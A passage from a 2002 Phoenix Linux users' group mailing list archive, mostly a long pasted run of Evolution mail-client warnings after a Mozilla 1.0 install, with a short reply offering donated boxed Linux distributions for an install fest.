evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_handler_for_type() > -- Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > I have done the google search, but have come up empty handed. anyone have > any suggestions for a possible fix? > > BTW i am running evolution-1.0.3-4. > > slr > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 18:03:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Thu, 06 Jun 2002 11:03:31 -0700 Subject: Random stuff to give away In-Reply-To: <200206052325.52735@granroth.org> Message-ID: <5.1.0.14.0.20020606110130.00abd090@localhost> This could be used for the install fest or other prizes at meetings too. If you would like to donate to AZOTO, let me know and we can have someone pick up anything you donate. There will be a tax donation letter to follow if you wish to do this through AZOTO. Kimi Adams, Treasurer AZOTO.org At 6/5/02, you wrote: >I have the following list of random distributions and stuff that I no >longer use. If anybody wants it, they can have it. Perhaps some of >it could be used for the InstallFest? Or door prizes? Or whatever... > >All the distributions are the retail boxed versions (no "download" or >"gpled" ones). They all come with all necessary CDs, boot disks (and >DVDs, in the case of SuSE 7.x) and manuals. The SuSE ones (unless >noted) may or may not have all the stickers and tie tacks and the >like. > >I don't think I'll be making any meetings any time soon so if you want >any of this, you'll have to stop on by my house and pick 'em up. Give >me a private email for directions. >----------------------------------------------------------------------- >Red Hat Linux 6.0 >Red Hat Linux 6.1 Deluxe >Red Hat Linux 6.2 Deluxe >Red Hat Linux 7.0 Standard > >SuSE 6.2 [1] >SuSE 6.3 (Missing CD1 -- am looking for it now) >SuSE 6.4 German [2] >SuSE 7.0 Professional >SuSE 7.1 Professional [3] >SuSE 7.1 Professional >SuSE 7.2 Professional > >Debian 2.1 Boxed Set [4] >Storm Linux 2000 [5] > >Mandrake Linux 7.1 Essential > >Caldera OpenLinux 2.3 [6] > >KDE 2.0 Development Book (4 copies) [7] > >[1] Also includes a full set of the German CDs which come with the > crypto packages (ssh, pgp, etc). The US CDs did not, back then >[2] This is the German version. All the CDs installation is in > English but the docs are all in German. >[3] This is like new! I opened it once but never used it. It > includes everything. >[4] This is the boxed set that VA Linux and SGI were distributing > awhile back. Even if you don't use the CD, the included O'Reilly > "Learning Debian GNU/Linux" book(!) (and Debian quick-start > booklet and Debian bumper sticker) make this worth having. >[5] I got this at a show but never even opened it (no spare boxes). > It's a Debian based system with a graphical installation. Looks > slick but Storm has since gone out of business. >[6] Older, but was first distro to come with Partition Magic and a > full graphical installation. >[7] This is *the* "how to develop KDE applications" book. Most of it > applies to KDE 3.x as well. A $50 value :-) ISBN: 0-672-31891-1 >-- >Kurt Granroth - "KDE -- Conquer Your Desktop" >KDE Developer/Evangelist | granroth@kde.org >http://www.granroth.org | kurt@granroth.org > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 18:35:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Thu, 6 Jun 2002 11:35:54 -0700 (PDT) Subject: mozilla 1.0 In-Reply-To: <200206061049.51343.zen2now@qwest.net> Message-ID: And the problem was...? On Thu, 6 Jun 2002, slr wrote: > forget it, problem resolved. > > slr > > On Thursday 06 June 2002 09:07 am, slr wrote: > > good morning all, > > > > i just installed mozilla 1.0 from rpm's which i > > downloaded from http://plug.netpro.to/mozilla/ onto a RH 7.3 install. i am > > running KDE 3.0, mozilla seems to run fine but now when i try to open > > Evolution i get these warnings: > > > > [xxx@xxx xxx]$ evolution > > > > evolution-shell-WARNING **: Could not start up component for > > OAFIID:GNOME_Evolution_Addressbook_ShellComponent. > > > > evolution-shell-WARNING **: Cannot activate Evolution component -- > > OAFIID:GNOME_Evolution_Addressbook_ShellComponent > > > > evolution-shell-WARNING **: Could not start up component for > > OAFIID:GNOME_Evolution_Mail_ShellComponent. > > > > evolution-shell-WARNING **: Cannot activate Evolution component -- > > OAFIID:GNOME_Evolution_Mail_ShellComponent > > > > evolution-shell-WARNING **: Could not start up component for > > OAFIID:GNOME_Evolution_Calendar_ShellComponent. > > > > evolution-shell-WARNING **: Cannot activate Evolution component -- > > OAFIID:GNOME_Evolution_Calendar_ShellComponent > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_handler_for_type() > > -- Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > 